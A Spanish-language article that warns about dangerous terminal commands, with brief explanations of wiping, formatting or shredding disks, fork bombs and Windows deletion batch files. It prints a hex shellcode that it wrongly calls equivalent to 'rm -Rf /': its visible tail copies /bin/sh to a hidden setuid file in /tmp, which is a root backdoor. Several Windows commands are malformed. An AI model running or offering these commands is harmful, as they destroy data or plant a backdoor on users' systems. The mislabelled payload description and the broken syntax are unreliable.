Hacer clic en algún botón o icono cuya función desconoces puede ser bastante peligroso. Pero si hablamos de comandos de texto introducidos en la terminal, la cosa puede ser igual de seria (o más).
Los comandos de texto listados a continuación pueden tener efectos destructivos sobre tu sistema si haces uso de ellos con permisos de administrador. Así que cuidado con los experimentos:
rm -Rf / (Linux, BSD, Mac)
Hay un ejemplo típico cuando toca hablar de comandos de Linux peligrosos... y su fama está, ciertamente, justificada: procede a borrar todos y cada uno de los directorios de nuestro disco duro a partir del directorio raíz (/). Es el siguiente:
rm -Rf /
Es decir, que lo borra todo. Para evitarlo, varias distribuciones traen configurado de serie un 'alias' que, al iniciar "rm", en realidad estamos accediendo a "rm -i", con lo que Bash nos pedirá confirmación de que deseamos realizar verdaderamente el borrado.
Cuenta con una variante que "sólo" borra nuestra carpeta de usuario, junto con todos los archivos de configuración que residen allí: "rm –rf ~".
mkfs.ext4 /dev/sda (Linux, BSD, Mac)
Si usamos un sistema de archivos EXT4, el siguiente comando no es muy distinto del típico 'format C:' de DOS/Windows. Formatea, punto:
mkfs.ext4 /dev/sda
Pero, en lugar de formatear toda la jerarquía de archivos, como el anterior, se centra en una unidad de soporte concreto (puede ser /dev/sda u otro).
shred /dev/sda (Linux, BSD, Mac)
Los anteriores comandos son peligrosos, sí. Pero, al menos, una vez ejecutado, permite recurrir a herramientas de recuperación de ficheros con amplias probabilidades de éxito.
Sin embargo otro comando mucho menos conocido puede borrarte todos los archivos de un disco duro sin solución posible:
shred /dev/sda
Shred es una herramienta que no borra: destruye. Es decir, no se limita a eliminar un archivo de la tabla de ficheros, sino que sobreescribe docenas de veces el espacio físico que aquél ocupa, convirtiéndolo en totalmente imposible de recuperar.
dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)
DD es una herramienta que suele usarse para clonar discos y crear así copias de seguridad. Pero, usada creativamente, puede provocar que tengamos que recurrir a ellas. Como en este ejemplo:
dd if=/dev/random of=/dev/sda
'dev/random' es el nombre de un dispositivo virtual que los Unix usan como generador de números aleatorios. El comando que nos ocupa no ahce sino copiar el 'contenido' de dicho 'dispositivo' en nuestro disco duro primario... de tal manera que su efecto será el mismo que si usáramos 'shred /dev/sda', aunque mucho más lento.
mv / /dev/null (Linux, BSD, Mac)
Los dispositivos virtuales los carga el Diablo, parece. Y es que 'dev/random' no es el único de ese tipo que puede darnos dolores de cabeza. Atentos al siguiente comando y a lo que puede hacer:
mv / /dev/null
Este comando mueve (insistimos: no 'copia'. mueve) el contenido de '/' (es decir, todo el contenido del sistema) al dispositivo virtual '/dev/null'. El problema es que /dev/null es la Nada, una especie de agujero negro en el que se pierde todo bit que arrojemos para nunca más volver. ¿Veis el problema ahora?
:(){ :|:& };: (Linux, BSD, Mac)
Por fortuna, los comandos anteriores pueden leerse con relativa facilidad: a poco que sepas algo de Unix o, meramente, de inglés, puedes fruncir el ceño y pensar "Ey, espera un momento...". Pero, ¿y si un comando no parece un comando?
Veamos el siguiente ejemplo:
:(){ :|:& };:
Estamos ante el comando 'Fork bomb', cuya función es definir y ejecutar una función que se llama recursivamente a sí misma de forma infinita. No hace nada... excepto ejecutarse tantas veces que termina agotando la memoria disponible y forzarnos a reiniciar el dispositivo.
Comandos en hexadecimal (Linux, BSD, Mac)
Es posible convertir un comando (cualquiera) escrito en modo texto normal al formato hexadecimal, lo cual impide que podamos leerlo (o, más bien, comprenderlo). Sin embargo, si le indicamos al sistema que reconvierta y ejecute la cadena de caracteres hexadecimal, será como si ejecutásemos directamente el comando original. Así, no existe ninguna diferencia entre teclear 'rm -Rf /' y lo siguiente:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
rd/s/q/ C:\ (Windows)
He aquí un comando para Windows que es, básicamente equivalente al 'rm -Rf' de Linux, Mac y cía:
rd/s/q/ C:\
Aunque con una diferencia: sólo borrará los datos de una unidad lógica concreta (en el ejemplo, la C:), pero no de todo el sistema. La diferencia, claro, sólo será relevante si tenemos más de una unidad en el sistema.
Comando de la Pantalla Azul de la Muerte (Windows)
¿Echas de menos las viejas pantallas azules de la muerte que tan características resultaban de la experiencia de usuario de Windows? Tranquilo, con el siguiente comando y podrás garantizarte una sesión gratuita de nostalgia:
@echo off
delete %systemdrive%*.* /f /s
Por fortuna para ti, no basta con copiar y pegar en el 'cmd': hay que guardar ambas líneas como un fichero de texto con extensión .BAT, equivalente a los .SH de Linux.
Borrado del Registro (Windows)
Otro conjunto de comandos que hay que ejecutar uno detrás de otro haciendo uso de un fichero BAT:
@echo off
START reg delete HKC/.EXE
START reg delete HKCR.dll
START reg delete HKCR/*